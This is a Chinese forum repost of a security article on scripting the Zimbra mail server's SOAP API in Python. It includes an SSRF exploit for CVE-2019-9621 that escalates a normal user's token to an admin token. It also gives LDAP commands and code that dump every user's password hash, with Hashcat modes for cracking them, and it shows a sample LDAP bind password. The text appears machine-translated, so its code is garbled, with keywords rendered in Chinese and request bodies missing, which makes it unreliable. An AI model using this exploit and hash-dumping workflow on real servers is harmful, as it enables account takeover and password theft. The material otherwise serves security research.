剑道尘心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 通过Zimbra SOAP API能够对津布拉邮件服务器的资源进行访问和修改、津布拉官方开源了计算机编程语言实现的Python-Zimbra库作为参考 为了更加了解Zimbra SOAP API的开发细节,我决定不依赖Python-Zimbra库,参照应用程序接口文档的数据格式尝试手动拼接数据包,实现对Zimbra SOAP API的调用 0x01 简介 本文将要介绍以下内容: Zimbra SOAP API简介 Python-Zimbra简单测试 Zimbra SOAP API框架的开发思路 开源代码 0x02 Zimbra SOAP API简介 Zimbra SOAP API包括以下命名空间: zimbraAccount zimbraAdmin zimbraAdminExt zimbraMail 津布拉雷普 zimbraSync 津布拉沃西 每个命名空间下对应不同的操作命令,其中常用的命名空间有以下三个: 津布拉行政区邮件服务器的管理接口,需要管理员权限 zimbraAccount,同津布拉用户相关的操作 zimbraMail,同津布拉邮件的操作 津布拉邮件服务器默认的开放端口有以下三种: 1.访问邮件 默认端口为80或443 对应的地址为:uri"/服务/肥皂" 2.管理面板 默认端口为7071 对应的地址为:uri ':7071/service/admin/soap ' 3.管理面板-访问邮件 从管理面板能够读取所有用户的邮件 默认端口为8443 对应的地址为:uri ':8443/mail?adminPreAuth=1 ' 0x03 Python-Zimbra简单测试 参考地址: https://github.com/Zimbra-Community/python-zimbra http://zimbra-community.github.io/python-zimbra/docs/ 对于自己的测试环境,需要忽略加密套接字协议层证书验证,使用如下代码: 导入安全套接层 ssl ._ create _ default _ https _ context=SSL _创建_未验证_上下文 使用用户名和口令登录的示例代码如下: 令牌=auth.authenticate( url, [email protected], 密码123456 ', 使用密码=真 ) 使用预认证密钥登录的示例代码如下: 令牌=auth.authenticate( url, [email protected], '秘密预认证密钥' ) 1.普通用户登录 对应的地址为:uri"/服务/肥皂" 获得发件箱邮件数量的示例代码如下: 导入pythonzimbra .通信 来自pythonzimbra .通信导入通信 导入pythonzimbra.tools 从pythonzimbra.tools导入授权 导入警告 警告.过滤器警告("忽略") 导入安全套接层 ssl ._ create _ default _ https _ context=SSL _创建_未验证_上下文 URL=' https://192。168 .112 .1/服务/soap ' comm=通信(网址) 令牌=auth.authenticate( url, 测试, 密码123456 ', use_password=True, ) 信息请求=通信生成请求(令牌=令牌) 信息请求。添加请求( ' GetFolderRequest ', { 文件夹':{ 路径"://已发送" } }, ' urn:zimbraMail ' ) 信息响应=通信发送请求(信息请求) 打印(info _ response。get _ response()) 如果不是info_response.is_fault()。 打印('大小:% s ' % info _ response。get _ response()[' GetFolderResponse '][' folder '][' n ']) 运行结果如下图 2.管理员登录 对应的地址为:uri ':7071/service/admin/soap ' 获得所有邮件用户信息的示例代码如下: 导入pythonzimbra .通信 来自pythonzimbra .通信导入通信 导入pythonzimbra.tools 从pythonzimbra.tools导入授权 导入警告 警告.过滤器警告("忽略") 导入安全套接层 ssl ._ create _ default _ https _ context=SSL _创建_未验证_上下文 URL=' https://192。168 .112 .1:7071/服务/管理/soap ' comm=通信(网址) 令牌=auth.authenticate( url, 管理, 密码123456 ', use_password=True, admin_auth=True ) 信息请求=通信生成请求(令牌=令牌) 信息请求。添加请求( GetAllAccountsRequest ', { }, urn:zimbraAdmin ) 信息响应=通信发送请求(信息请求) 如果不是info_response.is_fault()。 打印(info _ response。get _ response()[' GetAllAccountsResponse ']) 运行结果如下图 0x04 Zimbra SOAP API框架的实现 Zimbra SOAP API的参考文档: https://维基。津布拉。com/wiki/SOAP _ API _ Reference _ Material _ Beginning _ with _ ZCS _ 8 https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-参考/索引。超文本标记语言 实现的总体思路如下: 模拟用户登录,获得代币 使用代币作为凭据,进行下一步操作 1.token的获取 (1)普通用户token 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra帐户/auth。超文本标记语言 对应命名空间为zimbraAccount 请求的地址为:uri"/服务/肥皂" 根据说明文档中的肥皂格式,可通过以下计算机编程语言代码实现: def auth_request_low(uri用户名,密码): request _ body=' ' ' {用户名} {密码} ''' 打印('[*]尝试验证低令牌) 尝试: r=请求。post(uri '/service/soap ',data=request_body.format(用户名=用户名,密码=密码),验证=假,超时=15) 如果r .文本中出现"验证失败": 打印(' %s'%(用户名)的[-]验证失败) 返回错误的 r .文本中的elif"authToken ": 模式_身份验证_令牌=re。编译(r '(r .*?)') token=模式_验证_令牌。查找全部(r . text)[0] 打印(" %s "(用户名)的[ ]身份验证成功) print('[*]authToken _ low:% s ' %(token)) 返回令牌 否则: 打印('[!]') 打印(正文) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) (2)管理员token 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra admin/auth超文本标记语言 对应命名空间为zimbraAdmin 请求的地址为:uri ':7071/service/admin/soap ' 根据说明文档中的肥皂格式,可通过以下计算机编程语言代码实现: def验证请求管理(uri,用户名,密码): request _ body=' ' ' {用户名} {密码} ''' 打印('[*]尝试验证管理令牌) 尝试: r=请求。post(uri ':7071/service/admin/soap ',data=request_body.format(用户名=用户名,密码=密码),验证=假,超时=15) 如果r .文本中出现"验证失败": 打印(' %s'%(用户名)的[-]验证失败) 返回错误的 r .文本中的elif"authToken ": 模式_身份验证_令牌=re。编译(r '(r .*?)') token=模式_验证_令牌。查找全部(r . text)[0] 打印(" %s "(用户名)的[ ]身份验证成功) print('[*]authToken _ admin:% s ' %(token)) 返回令牌 否则: 打印('[!]') 打印(正文) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 补充: (3)普通用户token-管理员token 漏洞编号:CVE-2019-9621 利用ProxyServlet.doProxy()函数白名单检查的缺陷,能够将uri '/服务/肥皂'的请求代理到uri ':7071/service/admin/soap ',进而获得管理员代币 计算机编程语言实现代码如下: def低令牌_到_管理令牌_由_ SSRF(uri,用户名,密码): request _ body=' ' ' {用户名} {密码} ''' 打印('[*]尝试验证低令牌) 尝试: r=请求。post(uri '/service/soap ',data=request _ body。格式(xmlns=' urn:zimbraAccount ',用户名=用户名,密码=密码),verify=False) 如果r .文本中出现"验证失败": 打印(' %s'%(用户名)的[-]验证失败) 返回错误的 r .文本中的elif"authToken ": 模式_身份验证_令牌=re。编译(r '(r .*?)') low _ token=模式_验证_令牌。查找全部(r . text)[0] 打印(" %s "(用户名)的[ ]身份验证成功) print('[*]authToken _ low:% s ' %(low _ token)) 标题={ 内容类型':'应用程序/xml ' } 标头['Cookie']='ZM管理验证令牌='低令牌';' 头['Host']='foo:7071 ' 打印('[*]尝试通过SSRF获得管理令牌(CVE-2019-9621)’) s=requests.session() r=s . post(uri '/服务/代理?target=https://127。0 .0 .1:7071/服务/管理/soap ',数据=请求_正文。格式(xmlns=' urn:zimbraAdmin ',用户名=用户名,密码=密码),头=头,验证=假) 如果r .文本中有" authToken ": admin _ token=模式_验证_令牌。查找全部(r . text)[0] 印刷("[]SSRF的成功") 打印('[ ]管理令牌: '管理令牌) 返回管理员令牌 否则: 打印('[!]') 打印(正文) 否则: 打印('[!]') 打印(正文) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 2.命令实现 如果需要管理员令牌,在说明文档中每个命令的需要管理员授权令牌项会被标记,如下图 这里挑选几个具有代表性的命令进行介绍 (1)GetFolder 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra mail/getfolder。超文本标记语言 用来获得文件夹的属性 需要普通用户代币 枚举所有文件夹下邮件数量的计算机编程语言代码如下: def getfolder_request(uri,token): request _ body=" " " { token } ''' 尝试: 打印('[*]尝试获取文件夹) r=请求。post(uri '/service/soap ',data=request _ body。格式(令牌=令牌),验证=假,超时=15 pattern _ name=re编译(r ' name='(r .*?)'') 名称=模式名称。查找全部(r . text) pattern _ size=re . compile(r ' n='(r .*?)'') 大小=模式_大小。查找全部(r . text) 对于范围内的本人(姓名): 打印('[ ]名称:%s,大小:% s“%(名称[我],大小[我])) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 测试结果如下图 (2)GetMsg 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra mail/getmsg。超文本标记语言 用来读取邮件信息 需要普通用户代币 查看指定邮件的计算机编程语言代码如下: def getmsg_request(uri,token,id): request _ body=" " " { token } { id } ''' 尝试: 打印('[*]尝试获取消息) r=请求。post(uri '/service/soap ',data=request _ body。格式(token=token,id=id),verify=False,timeout=15) 打印(正文) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 这些需要指定要查看邮件的消息ID,测试结果如下图 (3)GetContacts 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra邮件/获取联系人。超文本标记语言 用来读取联系人列表 需要普通用户代币 计算机编程语言实现代码如下: def getcontacts_request(uri,令牌、电子邮件): request_body='''{token}{email} ''' 尝试: 打印('[*]尝试获取联系人) r=请求。post(uri '/service/soap ',data=request _ body。格式(令牌=令牌,电子邮件=电子邮件),验证=假,超时=15) pattern _ data=re . compile(r '(r .*?)') 数据=模式_数据。查找全部(r . text) 打印(数据[0]) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 测试结果如下图 (4)GetAllAccounts 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra admin/getallaccounts。超文本标记语言 用来获得所有用户的信息 需要管理员代币 获得所有用户列表,输出用户名和对应身份的计算机编程语言实现代码如下: def getallaccounts_request(uri,token): request _ body=" " " { token } ''' 尝试: 打印('[*]尝试获取所有帐户) r=请求。post(uri ':7071/service/admin/soap ',data=request _ body。格式(令牌=令牌),验证=假,超时=15) pattern _ name=re编译(r ' name='(r .*?)'') 名称=模式名称。查找全部(r . text) 模式_帐户id=re。编译(r ' id=').*?)'') 帐户id=模式_帐户id。查找全部(r . text) 对于范围内的本人(姓名): 打印('[ ]名称:%s,Id:% s“%(名称[我],帐户Id[i]) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 测试结果如下图 (5)GetLDAPEntries 说明文档:https://个文件。津布拉。com/docs/soap _ API/8。8 .15/API-reference/zimbra admin/getldapentries。超文本标记语言 用来获取轻量级目录访问协议搜索的结果 需要管理员代币 实现轻量级目录访问协议查询的计算机编程语言代码如下: def getldapentries_request(uri,token,query,ldapSearchBase): request _ body=" " { token } { query } { ldapSearchBase } ''' 尝试: 打印('[*]尝试获取% s“%(查询)的轻量级目录访问协议条目 r=请求。post(uri ':7071/service/admin/soap ',data=request _ body。格式(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15) 打印(正文) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 这里我们需要先了解zimbra openLDAP的用法,才能明白参数询问和轻量级目录访问协议搜索库的格式 在津布拉服务器上测试以下命令: 1.获得连接轻量级目录访问协议服务器的用户名和口令: 苏津布拉 /opt/zimbra/bin/zmlocalconfig-s | grep zimbra _ LDAP 如下图 2.使用获得的用户名和口令连接轻量级目录访问协议服务器,输出所有结果: /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra' -w kwDhJ6L1V9 如下图 3.加入筛选条件,只显示用户列表: /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。' com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9 '((对象类=zimbra帐户))' 或者 /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。' 389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ' ou=people,dc=zimbra,dc=com ' 如下图 可以注意到用户密码项为用户口令的混杂 4.再次加入筛选条件,只显示用户名称和对应哈希: /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。' com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9 '((对象类=zimbra帐户))'邮件用户密码 如下图 其中导出的混杂前12字节为固定字符e1NTSEE1MTJ9,经过base64解密后的内容为{SSHA512},后面部分为SHA-512加密的字符,对应哈希卡特的哈希模式为1700 补充1:其他ldap命令 查询津布拉配置信息: /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ' cn=config,cn=zimbra ' /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ' cn=cos,cn=zimbra ' 查询津布拉服务器配置信息: /opt/zimbra/bin/LDAP search-x-H LDAP://mail。津布拉。com:389-D ' uid=zimbra,cn=admins,cn=zimbra '-w KWD HJ 6 l 1v 9-b ` cn=servers,cn=zimbra ' " 其中包括如下内容: zimbraSshPublicKey zimbraMemcachedClientServerList zimbraSSLCertificate zimbraSSLPrivateKey 补充2:连接MySQL数据库的操作 1.获得连接关系型数据库数据库的用户名和口令: 苏津布拉 /opt/zimbra/bin/zmlocalconfig-s | grep MySQL 如下图 2.连接关系型数据库数据库: /opt/zimbra/bin/MySQL-h 127。0 .0 .1-u根-P 7306-P 3.查看所有数据库: 显示数据库; 如下图 综上,如果要查询所有用户的信息,查询的值可以设置为cn=*,ldapSearchBase的值可以设置为' ou=people,dc=zimbra,dc=com ' 注: 不同环境的轻量级目录访问协议搜索库值不同,通常和域名保持一致 通过轻量级目录访问协议查询获得用户名称和对应混杂的计算机编程语言代码如下: def getalluserhash(uri,token,query,ldapSearchBase): request _ body=" " { token } { query } { ldapSearchBase } ''' 尝试: 打印('[*]尝试获取所有用户的哈希’) r=请求。post(uri ':7071/service/admin/soap ',data=request _ body。格式(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15) 如果r .文本中有“用户密码”: 模式_数据=re。编译(r '用户通行证(*?)对象类) 数据=模式_数据。查找全部(r . text) 对于范围内的一级主管(资料): pattern_user=re.compile(r'mail '(.*?)') 用户=模式_用户。查找所有(数据[I]) pattern _ password=re编译(r ' word ').*?)') 密码=模式_密码。查找所有(数据[I]) 打印('[ ]用户:% s“%(用户[0])) 打印('哈希:%s'%(密码[0])) 否则: 打印('[!]') 打印(正文) 例外情况为e: 打印('[!]错误:% s"%(e)) 退出(0) 测试结果如下图 其中导出的混杂对应哈希卡特的哈希模式为1711 注: 新版本的津布拉无法读取哈希,显示价值受阻,如下图 0x05 开源代码 代码已开源,地址如下: https://github。com/3g student/job-of-Python/blob/master/Zimbra _ SOAP _ API _ manage。巴拉圭 代码支持三种连接方式: 普通用户代币 管理员代币 SSRF(CVE-2019-9621) 成功连接后,将显示支持的命令。 普通用户令牌支持的命令如下: GetAllAddressLists 获取联系人 获取文件夹 GetItem,例如:GetItem /Inbox GetMsg,例如:GetMsg 259 部分测试结果如下 令牌支持以下命令: GetAllDomains 获取所有邮箱 GetAllAccounts GetAllAdminAccounts GetMemcachedClientConfig GetLDAPEntries,例如:GetLDAPEntries cn=* dc=zimbra,dc=com getalluserash,例如:getalluserhash dc=zimbra,dc=com 部分测试结果如下 0x06 日志检测 登录位置是/opt/zimbra/log/mailbox.log。 请参考https://wiki.zimbra.com/wiki/Log_Files的其他种类的邮件日志。 0x07 小结 本文简单测试了Python-Zimbra库,根据API文档的数据格式手工拼接数据包,实现了对Zimbra SOAP API的调用。开源代码Zimbra_SOAP_API_Manage分享了脚本开发的细节,方便后续二次开发。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子